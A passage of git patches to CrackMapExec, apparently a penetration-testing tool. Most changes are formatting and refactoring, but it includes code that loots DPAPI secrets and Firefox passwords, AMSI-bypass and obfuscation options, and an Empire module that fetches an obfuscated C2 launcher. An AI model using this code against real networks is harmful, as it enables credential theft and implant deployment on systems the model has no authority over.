metavar="SHARE", type=str, help="share to spider" ) sgroup.add_argument( "--spider-folder", @@ -408,9 +373,7 @@ class smb(connection): help="folder to spider (default: root share directory)", ) sgroup.add_argument( - "--content", - action="store_true", - help="enable file content searching" + "--content", action="store_true", help="enable file content searching" ) sgroup.add_argument( "--exclude-dirs", @@ -437,14 +400,11 @@ class smb(connection): help="max spider recursion depth (default: infinity & beyond)", ) sgroup.add_argument( - "--only-files", - action="store_true", - help="only spider files" + "--only-files", action="store_true", help="only spider files" ) tgroup = smb_parser.add_argument_group( - "Files", - "Options for put and get remote files" + "Files", "Options for put and get remote files" ) tgroup.add_argument( "--put-file", @@ -465,8 +425,7 @@ class smb(connection): ) cgroup = smb_parser.add_argument_group( - "Command Execution", - "Options for executing commands" + "Command Execution", "Options for executing commands" ) cgroup.add_argument( "--exec-method", @@ -489,9 +448,7 @@ class smb(connection): help="force the PowerShell command to run in a 32-bit process", ) cgroup.add_argument( - "--no-output", - action="store_true", - help="do not retrieve command output" + "--no-output", action="store_true", help="do not retrieve command output" ) cegroup = cgroup.add_mutually_exclusive_group() cegroup.add_argument( @@ -507,13 +464,10 @@ class smb(connection): help="execute the specified PowerShell command", ) psgroup = smb_parser.add_argument_group( - "Powershell Obfuscation", - "Options for PowerShell script obfuscation" + "Powershell Obfuscation", "Options for PowerShell script obfuscation" ) psgroup.add_argument( - "--obfs", - action="store_true", - help="Obfuscate PowerShell scripts" + "--obfs", action="store_true", help="Obfuscate PowerShell scripts" ) psgroup.add_argument( "--amsi-bypass", @@ -676,11 +630,14 @@ class smb(connection): from impacket.ldap import ldapasn1 as ldapasn1_impacket - results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)] + results = [ + r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry) + ] if len(results) != 0: for host in results: values = { - str(attr["type"]).lower(): str(attr["vals"][0]) for attr in host["attributes"] + str(attr["type"]).lower(): str(attr["vals"][0]) + for attr in host["attributes"] } if "mslaps-encryptedpassword" in values: self.logger.fail( @@ -694,7 +651,9 @@ class smb(connection): elif "ms-mcs-admpwd" in values: msMCSAdmPwd = values["ms-mcs-admpwd"] else: - self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password") + self.logger.fail( + "No result found with attribute ms-MCS-AdmPwd or msLAPS-Password" + ) logging.debug( f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}" ) @@ -1768,7 +1727,9 @@ class smb(connection): policy_handle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation, ) - domain_sid = resp["PolicyInformation"]["PolicyAccountDomainInfo"]["DomainSid"].formatCanonical() + domain_sid = resp["PolicyInformation"]["PolicyAccountDomainInfo"][ + "DomainSid" + ].formatCanonical() so_far = 0 simultaneous = 1000 @@ -1786,10 +1747,7 @@ class smb(connection): sids.append(f"{domain_sid}-{i:d}") try: lsat.hLsarLookupSids( - dce, - policy_handle, - sids, - lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta + dce, policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta ) except DCERPCException as e: if str(e).find("STATUS_NONE_MAPPED") >= 0: @@ -1803,22 +1761,28 @@ class smb(connection): for n, item in enumerate(resp["TranslatedNames"]["Names"]): if item["Use"] != SID_NAME_USE.SidTypeUnknown: rid = so_far + n - domain = resp["ReferencedDomains"]["Domains"][item["DomainIndex"]]["Name"] + domain = resp["ReferencedDomains"]["Domains"][item["DomainIndex"]][ + "Name" + ] user = item["Name"] sid_type = SID_NAME_USE.enumItems(item["Use"]).name self.logger.highlight(f"{rid}: {domain}\\{user} ({sid_type})") - entries.append({ - "rid": rid, - "domain": domain, - "username": user, - "sidtype": sid_type, - }) + entries.append( + { + "rid": rid, + "domain": domain, + "username": user, + "sidtype": sid_type, + } + ) so_far += simultaneous dce.disconnect() return entries def put_file(self): - self.logger.display(f"Copying {self.args.put_file[0]} to {self.args.put_file[1]}") + self.logger.display( + f"Copying {self.args.put_file[0]} to {self.args.put_file[1]}" + ) with open(self.args.put_file[0], "rb") as file: try: self.conn.putFile(self.args.share, self.args.put_file[1], file.read) @@ -1829,7 +1793,9 @@ class smb(connection): self.logger.fail(f"Error writing file to share {self.args.share}: {e}") def get_file(self): - self.logger.display(f"Copying {self.args.get_file[0]} to {self.args.get_file[1]}") + self.logger.display( + f"Copying {self.args.get_file[0]} to {self.args.get_file[1]}" + ) file_handle = self.args.get_file[1] if self.args.append_host: file_handle = f"{self.hostname}-{self.args.get_file[1]}" @@ -1944,10 +1910,11 @@ class smb(connection): dc_conn = DPLootSMBConnection(dc_target) dc_conn.connect() # Connect to DC if dc_conn.is_admin(): - self.logger.success("User is Domain Administrator, exporting domain backupkey...") + self.logger.success( + "User is Domain Administrator, exporting domain backupkey..." + ) backupkey_triage = BackupkeyTriage( - target=dc_target, - conn=dc_conn + target=dc_target, conn=dc_conn ) backupkey = backupkey_triage.triage_backupkey() self.pvkbytes = backupkey.backupkey_v2 @@ -1980,7 +1947,9 @@ class smb(connection): plaintexts = { username: password - for _, _, username, password, _, _ in self.db.get_credentials(cred_type="plaintext") + for _, _, username, password, _, _ in self.db.get_credentials( + cred_type="plaintext" + ) } nthashes = { username: nt.split(":")[1] if ":" in nt else nt @@ -1993,7 +1962,9 @@ class smb(connection): # Collect User and Machine masterkeys try: - self.logger.display("Collecting User and Machine masterkeys, grab a coffee and be patient...") + self.logger.display( + "Collecting User and Machine masterkeys, grab a coffee and be patient..." + ) masterkeys_triage = MasterkeysTriage( target=target, conn=conn, @@ -2011,7 +1982,9 @@ class smb(connection): logging.fail("No masterkeys looted") return - self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") + self.logger.success( + f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets..." + ) try: # Collect User and Machine Credentials Manager secrets @@ -2055,9 +2028,7 @@ class smb(connection): # Collect Chrome Based Browser stored secrets dump_cookies = True if self.args.dpapi == "cookies" else False browser_triage = BrowserTriage( - target=target, - conn=conn, - masterkeys=masterkeys + target=target, conn=conn, masterkeys=masterkeys ) browser_credentials, cookies = browser_triage.triage_browsers( gather_cookies=dump_cookies @@ -2089,9 +2060,7 @@ class smb(connection): try: # Collect User Internet Explorer stored secrets vaults_triage = VaultsTriage( - target=target, - conn=conn, - masterkeys=masterkeys + target=target, conn=conn, masterkeys=masterkeys ) vaults = vaults_triage.triage_vaults() except Exception as e: diff --git a/cme/servers/smb.py b/cme/servers/smb.py index b89333a5..2befa078 100755 --- a/cme/servers/smb.py +++ b/cme/servers/smb.py @@ -28,7 +28,9 @@ class CMESMBServer(threading.Thread): except Exception as e: errno, message = e.args if errno == 98 and message == "Address already in use": - logger.error("Error starting SMB server on port 445: the port is already in use") + logger.error( + "Error starting SMB server on port 445: the port is already in use" + ) else: logger.error(f"Error starting SMB server on port 445: {message}") exit(1) From 7f73740e501bcc5808f268377d0553ab576d85ff Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Thu, 4 May 2023 09:22:31 -0400 Subject: [PATCH 18/76] firefox: redo black --- cme/protocols/smb/firefox.py | 54 +++++++++++++++--------------------- 1 file changed, 22 insertions(+), 32 deletions(-) diff --git a/cme/protocols/smb/firefox.py b/cme/protocols/smb/firefox.py index 0f356867..9942ef97 100644 --- a/cme/protocols/smb/firefox.py +++ b/cme/protocols/smb/firefox.py @@ -63,8 +63,7 @@ class FirefoxTriage: for user in users: try: directories = self.conn.remote_list_dir( - share=self.share, - path=self.firefox_generic_path.format(user) + share=self.share, path=self.firefox_generic_path.format(user) ) except Exception as e: if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): @@ -72,7 +71,11 @@ class FirefoxTriage: self.logger.debug(e) if directories is None: continue - for d in [d for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0]: + for d in [ + d + for d in directories + if d.get_longname() not in self.false_positive and d.is_directory() > 0 + ]: try: logins_path = ( self.firefox_generic_path.format(user) @@ -93,9 +96,7 @@ class FirefoxTriage: + "\\key4.db" ) key4_data = self.conn.readFile( - self.share, - key4_path, - bypass_shared_violation=True + self.share, key4_path, bypass_shared_violation=True ) if key4_data is None: continue @@ -109,14 +110,10 @@ class FirefoxTriage: continue for username, pwd, host in logins: decoded_username = self.decrypt( - key=key, - iv=username[1], - ciphertext=username[2] + key=key, iv=username[1], ciphertext=username[2] ).decode("utf-8") password = self.decrypt( - key=key, - iv=pwd[1], - ciphertext=pwd[2] + key=key, iv=pwd[1], ciphertext=pwd[2] ).decode("utf-8") if password is not None and decoded_username is not None: firefox_data.append( @@ -137,11 +134,14 @@ class FirefoxTriage: json_logins = json.loads(logins_data) if "logins" not in json_logins: return [] # No logins key in logins.json file - logins = [( - self.decode_login_data(row["encryptedUsername"]), - self.decode_login_data(row["encryptedPassword"]), - row["hostname"] - ) for row in json_logins["logins"]] + logins = [ + ( + self.decode_login_data(row["encryptedUsername"]), + self.decode_login_data(row["encryptedPassword"]), + row["hostname"], + ) + for row in json_logins["logins"] + ] return logins def get_key(self, key4_data, master_password=b""): @@ -155,8 +155,7 @@ class FirefoxTriage: if row: global_salt, master_password, _ = self.is_master_password_correct( - key_data=row, - master_password=master_password + key_data=row, master_password=master_password ) if global_salt: try: @@ -169,9 +168,7 @@ class FirefoxTriage: if a102 == CKA_ID: decoded_a11 = decoder.decode(a11) key = self.decrypt_3des( - decoded_a11, - master_password, - global_salt + decoded_a11, master_password, global_salt ) if key is not None: fh.close() @@ -189,9 +186,7 @@ class FirefoxTriage: item2 = key_data[1] decoded_item2 = decoder.decode(item2) cleartext_data = self.decrypt_3des( - decoded_item2, - master_password, - global_salt + decoded_item2, master_password, global_salt ) if cleartext_data != "password-check\x02\x02".encode(): return "", "", "" @@ -205,8 +200,7 @@ class FirefoxTriage: users_dir_path = "Users\\*" directories = self.conn.listPath( - shareName=self.share, - path=ntpath.normpath(users_dir_path) + shareName=self.share, path=ntpath.normpath(users_dir_path) ) for d in directories: @@ -271,11 +265,7 @@ class FirefoxTriage: k = sha1(global_salt + master_password).digest() key = pbkdf2_hmac( - "sha256", - k, - entry_salt, - iteration_count, - dklen=key_length + "sha256", k, entry_salt, iteration_count, dklen=key_length ) # https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49 From 574fc5a212575e8a4b7588c03a64d91c26e972ca Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Fri, 5 May 2023 14:36:47 -0400 Subject: [PATCH 19/76] refactor: remove unnecessary variable creation --- cme/protocols/smb/db_navigator.py | 101 ++++++++---------------------- 1 file changed, 26 insertions(+), 75 deletions(-) diff --git a/cme/protocols/smb/db_navigator.py b/cme/protocols/smb/db_navigator.py index 87a83cd4..fcdfd0f7 100644 --- a/cme/protocols/smb/db_navigator.py +++ b/cme/protocols/smb/db_navigator.py @@ -175,16 +175,11 @@ class navigator(DatabaseNavigator): data = [["ShareID", "Name", "Remark"], [share_id, name, remark]] print_table(data, title="Share") host = self.db.get_hosts(filter_term=host_id)[0] - data = [["HostID", "IP", "Hostname", "Domain", "OS", "DC"]] + data = [ + ["HostID", "IP", "Hostname", "Domain", "OS", "DC"], + [host[0], host[1], host[2], host[3], host[4], host[5]], + ] - host_id = host[0] - ip = host[1] - hostname = host[2] - domain = host[3] - os = host[4] - dc = host[5] - - data.append([host_id, ip, hostname, domain, os, dc]) print_table(data, title="Share Location") if users_r_access: @@ -194,12 +189,7 @@ class navigator(DatabaseNavigator): creds = self.db.get_credentials(filter_term=userid) for cred in creds: - cred_id = cred[0] - domain = cred[1] - username = cred[2] - password = cred[3] - credtype = cred[4] - data.append([cred_id, credtype, domain, username, password]) + data.append([cred[0], cred[4], cred[1], cred[2], cred[3]]) print_table(data, title="Users(s) with Read Access") if users_w_access: @@ -209,13 +199,7 @@ class navigator(DatabaseNavigator): creds = self.db.get_credentials(filter_term=userid) for cred in creds: - cred_id = cred[0] - domain = cred[1] - username = cred[2] - password = cred[3] - credtype = cred[4] - - data.append([cred_id, credtype, domain, username, password]) + data.append([cred[0], cred[4], cred[1], cred[2], cred[3]]) print_table(data, title="Users(s) with Write Access") def help_shares(self): @@ -251,23 +235,15 @@ class navigator(DatabaseNavigator): ] for group in groups: - group_id = group[0] - domain = group[1] - name = group[2] - rid = group[3] - members = len(self.db.get_group_relations(group_id=group_id)) - ad_members = group[4] - last_query_time = group[5] - data.append( [ - group_id, - domain, - name, - rid, - members, - ad_members, - last_query_time, + group[0], + group[1], + group[2], + group[3], + len(self.db.get_group_relations(group_id=group_id)), + group[4], + group[5], ] ) print_table(data, title="Group") @@ -290,21 +266,14 @@ class navigator(DatabaseNavigator): creds = self.db.get_credentials(filter_term=userid) for cred in creds: - cred_id = cred[0] - domain = cred[1] - username = cred[2] - password = cred[3] - credtype = cred[4] - pillaged_from = cred[5] - data.append( [ - cred_id, - credtype, - pillaged_from, - domain, - username, - password, + cred[0], + cred[4], + cred[5], + cred[1], + cred[2], + cred[3], ] ) print_table(data, title="Member(s)") @@ -402,13 +371,8 @@ class navigator(DatabaseNavigator): creds = self.db.get_credentials(filter_term=cred_id) for cred in creds: - cred_id = cred[0] - domain = cred[1] - username = cred[2] - password = cred[3] - credtype = cred[4] - # pillaged_from = cred[5] - data.append([cred_id, credtype, domain, username, password]) + data.append([cred[0], cred[4], cred[1], cred[2], cred[3]]) + print_table(data, title="Credential(s) with Admin Access") def help_hosts(self): @@ -632,17 +596,9 @@ class navigator(DatabaseNavigator): cred_id_list = [] for cred in creds: - cred_id = cred[0] - cred_id_list.append(cred_id) - domain = cred[1] - username = cred[2] - password = cred[3] - credtype = cred[4] - pillaged_from = cred[5] + cred_id_list.append(cred[0]) + data.append([cred[0], cred[4], cred[5], cred[1], cred[2], cred[3]]) - data.append( - [cred_id, credtype, pillaged_from, domain, username, password] - ) print_table(data, title="Credential(s)") data = [["GroupID", "Domain", "Name"]] @@ -670,13 +626,8 @@ class navigator(DatabaseNavigator): hosts = self.db.get_hosts(host_id) for host in hosts: - host_id = host[0] - ip = host[1] - hostname = host[2] - domain = host[3] - os = host[4] + data.append([host[0], host[1], host[2], host[3], host[4]]) - data.append([host_id, ip, hostname, domain, os]) print_table(data, title="Admin Access to Host(s)") def help_creds(self): @@ -720,7 +671,7 @@ class navigator(DatabaseNavigator): """ Tab-complete 'hosts' commands. """ - commands = ["add", "remove", "dc"] + commands = ("add", "remove", "dc") mline = line.partition(" ")[2] offs = len(mline) - len(text) @@ -730,7 +681,7 @@ class navigator(DatabaseNavigator): """ Tab-complete 'creds' commands. """ - commands = ["add", "remove", "hash", "plaintext"] + commands = ("add", "remove", "hash", "plaintext") mline = line.partition(" ")[2] offs = len(mline) - len(text) From 788701cb2cd3f93b7d75658b3dfc18cb369e861f Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Fri, 5 May 2023 14:37:20 -0400 Subject: [PATCH 20/76] refactor: small perflint improvements --- cme/protocols/smb/mmcexec.py | 4 ++-- cme/protocols/smb/smbexec.py | 13 +++++-------- 2 files changed, 7 insertions(+), 10 deletions(-) diff --git a/cme/protocols/smb/mmcexec.py b/cme/protocols/smb/mmcexec.py index 8bf89cda..8ffb0d89 100644 --- a/cme/protocols/smb/mmcexec.py +++ b/cme/protocols/smb/mmcexec.py @@ -28,7 +28,7 @@ # import logging -import os +from os.path import join as path_join from time import sleep from cme.helpers.misc import gen_random_string @@ -241,7 +241,7 @@ class MMCEXEC: while True: try: with open( - os.path.join("/tmp", "cme_hosted", self.__output), "r" + path_join("/tmp", "cme_hosted", self.__output), "r" ) as output: self.output_callback(output.read()) break diff --git a/cme/protocols/smb/smbexec.py b/cme/protocols/smb/smbexec.py index fa08437a..bb94a064 100755 --- a/cme/protocols/smb/smbexec.py +++ b/cme/protocols/smb/smbexec.py @@ -2,6 +2,7 @@ # -*- coding: utf-8 -*- import os +from os.path import join as path_join from time import sleep from impacket.dcerpc.v5 import transport, scmr from cme.helpers.misc import gen_random_string @@ -120,9 +121,7 @@ class SMBEXEC: else: command = self.__shell + data - with open( - os.path.join("/tmp", "cme_hosted", self.__batchFile), "w" - ) as batch_file: + with open(path_join("/tmp", "cme_hosted", self.__batchFile), "w") as batch_file: batch_file.write(command) self.logger.debug("Hosting batch file with command: " + command) @@ -168,7 +167,7 @@ class SMBEXEC: sleep(2) pass else: - logger.debug(e) + self.logger.debug(e) pass self.__smbconnection.deleteFile(self.__share, self.__output) @@ -187,9 +186,7 @@ class SMBEXEC: else: command = self.__shell + data - with open( - os.path.join("/tmp", "cme_hosted", self.__batchFile), "w" - ) as batch_file: + with open(path_join("/tmp", "cme_hosted", self.__batchFile), "w") as batch_file: batch_file.write(command) self.logger.debug("Hosting batch file with command: " + command) @@ -227,7 +224,7 @@ class SMBEXEC: while True: try: with open( - os.path.join("/tmp", "cme_hosted", self.__output), "rb" + path_join("/tmp", "cme_hosted", self.__output), "rb" ) as output: self.output_callback(output.read()) break From e5d997fb8896718a329b702dca367dc7a21d257a Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Fri, 5 May 2023 14:44:11 -0400 Subject: [PATCH 21/76] refactor(perflint): improve imports, specifically in forloops --- cme/loaders/moduleloader.py | 12 +++++++----- cme/loaders/protocolloader.py | 22 ++++++++++++---------- 2 files changed, 19 insertions(+), 15 deletions(-) diff --git a/cme/loaders/moduleloader.py b/cme/loaders/moduleloader.py index cdd81879..5ef486b1 100755 --- a/cme/loaders/moduleloader.py +++ b/cme/loaders/moduleloader.py @@ -1,7 +1,9 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- import importlib -import os +from os import listdir +from os.path import dirname +from os.path import join as path_join import sys import cme @@ -130,14 +132,14 @@ class ModuleLoader: """ modules = {} modules_paths = [ - os.path.join(os.path.dirname(cme.__file__), "modules"), - os.path.join(CME_PATH, "modules"), + path_join(dirname(cme.__file__), "modules"), + path_join(CME_PATH, "modules"), ] for path in modules_paths: - for module in os.listdir(path): + for module in listdir(path): if module[-3:] == ".py" and module != "example_module.py": - module_path = os.path.join(path, module) + module_path = path_join(path, module) module_data = self.get_module_info(module_path) modules.update(module_data) return modules diff --git a/cme/loaders/protocolloader.py b/cme/loaders/protocolloader.py index a6a0017d..d5ad25aa 100755 --- a/cme/loaders/protocolloader.py +++ b/cme/loaders/protocolloader.py @@ -2,13 +2,15 @@ # -*- coding: utf-8 -*- import types from importlib.machinery import SourceFileLoader -import os +from os import listdir +from os.path import join as path_join +from os.path import dirname, exists, expanduser import cme class ProtocolLoader: def __init__(self): - self.cme_path = os.path.expanduser("~/.cme") + self.cme_path = expanduser("~/.cme") def load_protocol(self, protocol_path): loader = SourceFileLoader("protocol", protocol_path) @@ -19,23 +21,23 @@ class ProtocolLoader: def get_protocols(self): protocols = {} protocol_paths = [ - os.path.join(os.path.dirname(cme.__file__), "protocols"), - os.path.join(self.cme_path, "protocols"), + path_join(dirname(cme.__file__), "protocols"), + path_join(self.cme_path, "protocols"), ] for path in protocol_paths: - for protocol in os.listdir(path): + for protocol in listdir(path): if protocol[-3:] == ".py" and protocol[:-3] != "__init__": - protocol_path = os.path.join(path, protocol) + protocol_path = path_join(path, protocol) protocol_name = protocol[:-3] protocols[protocol_name] = {"path": protocol_path} - db_file_path = os.path.join(path, protocol_name, "database.py") - db_nav_path = os.path.join(path, protocol_name, "db_navigator.py") - if os.path.exists(db_file_path): + db_file_path = path_join(path, protocol_name, "database.py") + db_nav_path = path_join(path, protocol_name, "db_navigator.py") + if exists(db_file_path): protocols[protocol_name]["dbpath"] = db_file_path - if os.path.exists(db_nav_path): + if exists(db_nav_path): protocols[protocol_name]["nvpath"] = db_nav_path return protocols From e02ecb3b3532717cab7695aeca3390b54441d73e Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Fri, 5 May 2023 15:11:33 -0400 Subject: [PATCH 22/76] update lsassy version to 3.1.8 --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 0364bc5c..f932edfb 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -28,7 +28,7 @@ cmedb = 'cme.cmedb:main' python = "^3.7.0" requests = ">=2.27.1" beautifulsoup4 = ">=4.11,<5" -lsassy = ">=3.1.3" +lsassy = ">=3.1.8" termcolor = "^1.1.0" msgpack = "^1.0.0" neo4j = "^4.1.1" From 54df342541676b5038f6174f0949269f9d0e4bf6 Mon Sep 17 00:00:00 2001 From: mpgn Date: Sat, 6 May 2023 15:30:36 -0400 Subject: [PATCH 23/76] fix protoflow order --- cme/connection.py | 2 +- cme/protocols/smb.py | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/cme/connection.py b/cme/connection.py index 74c67088..49f10b16 100755 --- a/cme/connection.py +++ b/cme/connection.py @@ -139,9 +139,9 @@ class connection(object): def proto_flow(self): self.logger.debug(f"Kicking off proto_flow") + self.proto_logger() if self.create_conn_obj(): self.enum_host_info() - self.proto_logger() if self.print_host_info(): # because of null session if self.login() or (self.username == "" and self.password == ""): diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index 8e04bc4e..0493fbf1 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -537,6 +537,7 @@ class smb(connection): ) self.hostname = self.conn.getServerName() if not no_ntlm else self.host self.server_os = self.conn.getServerOS() + self.logger.extra["hostname"] = self.hostname try: self.signing = ( From 878d90e1b16f51898a6735ad495b8f8face48471 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Fri, 5 May 2023 19:24:11 -0400 Subject: [PATCH 24/76] rename drop-sc module file to match module name --- cme/modules/{drop_searchConnector-ms.py => drop-sc.py} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename cme/modules/{drop_searchConnector-ms.py => drop-sc.py} (100%) diff --git a/cme/modules/drop_searchConnector-ms.py b/cme/modules/drop-sc.py similarity index 100% rename from cme/modules/drop_searchConnector-ms.py rename to cme/modules/drop-sc.py From adbc0d9191ca72c65306d33f234791316d6f8cb3 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Fri, 5 May 2023 19:24:46 -0400 Subject: [PATCH 25/76] fix(e2e tests): make sure there is a space after KERBEROS for regex --- tests/e2e_commands.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 339ad590..26fc9884 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -166,7 +166,7 @@ crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M user-desc --options crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M whoami crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M whoami --options ##### WINRM -crackmapexec winrm TARGET -u USERNAME -p PASSWORD KERBEROS +crackmapexec winrm TARGET -u USERNAME -p PASSWORD KERBEROS # need an extra space after this command due to regex crackmapexec winrm TARGET -u USERNAME -p PASSWORD KERBEROS -X whoami crackmapexec winrm TARGET -u USERNAME -p PASSWORD KERBEROS --laps crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS From c7f45db8e652d0fc012d82e2a8560e475c809ab0 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Fri, 5 May 2023 19:27:39 -0400 Subject: [PATCH 26/76] fix(empire): change empire password in config to correct default --- cme/data/cme.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cme/data/cme.conf b/cme/data/cme.conf index b0a5d364..7e156daf 100755 --- a/cme/data/cme.conf +++ b/cme/data/cme.conf @@ -17,7 +17,7 @@ bh_pass = neo4j api_host = 127.0.0.1 api_port = 1337 username = empireadmin -password = Password123! +password = password123 [Metasploit] rpc_host = 127.0.0.1 From 5819bc917eaf18381b6d6286b400d4b0a4e9f0c6 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Fri, 5 May 2023 21:43:09 -0400 Subject: [PATCH 27/76] fix(empire): update empire_exec for v5 API; fixes #764 --- cme/modules/empire_exec.py | 144 ++++++++++++++++++++++++------------- 1 file changed, 95 insertions(+), 49 deletions(-) diff --git a/cme/modules/empire_exec.py b/cme/modules/empire_exec.py index 72623dee..2f04e953 100644 --- a/cme/modules/empire_exec.py +++ b/cme/modules/empire_exec.py @@ -25,68 +25,114 @@ class CMEModule: def options(self, context, module_options): """ - LISTENER Listener name to generate the launcher for + LISTENER Listener name to generate the launcher for + SSL True if the listener is using SSL/TLS + OBFUSCATE True if you want to use the built-in Obfuscation (that calls Invoke-Obfuscate) + OBFUSCATE_CMD Override Invoke-Obfuscation command (Default is "Token,All,1" and is picked up by Defender) """ + self.empire_launcher = None - if not "LISTENER" in module_options: + if "LISTENER" not in module_options: context.log.fail("LISTENER option is required!") sys.exit(1) - self.empire_launcher = None + api_proto = "https" if "SSL" in module_options else "http" + + obfuscate = True if "OBFUSCATE" in module_options else False + # we can use commands instead of backslashes - this is because Linux and OSX treat them differently + default_obfuscation = "Token,All,1" + obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation + context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}") - headers = {"Content-Type": "application/json"} # Pull the host and port from the config file - base_url = "https://{}:{}".format( - context.conf.get("Empire", "api_host"), - context.conf.get("Empire", "api_port"), - ) + base_url = f"{api_proto}://{context.conf.get('Empire', 'api_host')}:{context.conf.get('Empire', 'api_port')}" + context.log.debug(f"Empire URL: {base_url}") + + # Pull the username and password from the config file + empire_creds = { + "username": context.conf.get("Empire", "username"), + "password": context.conf.get("Empire", "password"), + } + context.log.debug(f"Empire Creds: {empire_creds}") try: - # Pull the username and password from the config file - payload = { - "username": context.conf.get("Empire", "username"), - "password": context.conf.get("Empire", "password"), - } - - r = requests.post( - base_url + "/api/admin/login", - json=payload, - headers=headers, + login_response = requests.post( + f"{base_url}/token", + data=empire_creds, verify=False, ) - if r.status_code == 200: - token = r.json()["token"] - else: - context.log.fail("Error authenticating to Empire's RESTful API server!") - sys.exit(1) - - payload = { - "StagerName": "multi/launcher", - "Listener": module_options["LISTENER"], - } - r = requests.post( - base_url + "/api/stagers?token={}".format(token), - json=payload, - headers=headers, - verify=False, - ) - - response = r.json() - if "error" in response: - context.log.fail("Error from empire : {}".format(response["error"])) - sys.exit(1) - - self.empire_launcher = response["multi/launcher"]["Output"] - - context.log.success( - "Successfully generated launcher for listener '{}'".format( - module_options["LISTENER"] - ) - ) - except ConnectionError as e: - context.log.fail("Unable to connect to Empire's RESTful API: {}".format(e)) + context.log.fail(f"Unable to login to Empire's RESTful API: {e}") sys.exit(1) + context.log.debug(f"Response Code: {login_response.status_code}") + context.log.debug(f"Response Content: {login_response.text}") + + if login_response.status_code == 200: + access_token = login_response.json()["access_token"] + headers = {"Authorization": f"Bearer {access_token}"} + else: + context.log.fail("Error authenticating to Empire's RESTful API") + sys.exit(1) + + data = { + "name": "cme_ephemeral", + "template": "multi_launcher", + "options": { + "Listener": module_options["LISTENER"], + "Language": "powershell", + "StagerRetries": "0", + "OutFile": "", + "Base64": "True", + "Obfuscate": obfuscate, + "ObfuscateCommand": obfuscate_cmd, + "SafeChecks": "True", + "UserAgent": "default", + "Proxy": "default", + "ProxyCreds": "default", + "Bypasses": "mattifestation etw" + }, + } + try: + stager_response = requests.post( + f"{base_url}/api/v2/stagers?save=False", + json=data, + headers=headers, + verify=False, + ) + except ConnectionError: + context.log.fail(f"Unable to request stager from Empire's RESTful API") + sys.exit(1) + + if stager_response.status_code not in [200, 201]: + if "not found" in stager_response.json()["detail"]: + context.log.fail(f"Listener {module_options['LISTENER']} not found") + else: + context.log.fail(f"Stager response received a non-200 when creating stager: {stager_response.status_code} {stager_response.text}") + sys.exit(1) + + context.log.debug(f"Response Code: {stager_response.status_code}") + # context.log.debug(f"Response Content: {stager_response.text}") + + stager_create_data = stager_response.json() + context.log.debug(f"Stager data: {stager_create_data}") + download_uri = stager_create_data["downloads"][0]["link"] + + download_response = requests.get( + f"{base_url}{download_uri}", + headers=headers, + verify=False, + ) + context.log.debug(f"Response Code: {download_response.status_code}") + # context.log.debug(f"Response Content: {download_response.text}") + + self.empire_launcher = download_response.text + + if download_response.status_code == 200: + context.log.success( + f"Successfully generated launcher for listener '{module_options['LISTENER']}'" + ) + else: + context.log.fail(f"Something went wrong when retrieving stager Powershell command") def on_admin_login(self, context, connection): if self.empire_launcher: From 1f458ecab724228d1d92f3a326a4fbe55b4951b2 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Fri, 5 May 2023 22:01:09 -0400 Subject: [PATCH 28/76] fix(smb): check if server_os is bytes and decode it if so; fixes #749 --- cme/protocols/smb.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index 0493fbf1..6a06a6af 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -539,6 +539,9 @@ class smb(connection): self.server_os = self.conn.getServerOS() self.logger.extra["hostname"] = self.hostname + if isinstance(self.server_os.lower(), bytes): + self.server_os = self.server_os.decode("utf-8") + try: self.signing = ( self.conn.isSigningRequired() From 5119d7b59e52930601988fa5898bb8f139b83ad7 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Fri, 5 May 2023 22:13:43 -0400 Subject: [PATCH 29/76] fix(empire): update test to include listener and obfuscate test (still commented out) --- tests/e2e_commands.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 26fc9884..7279566f 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt 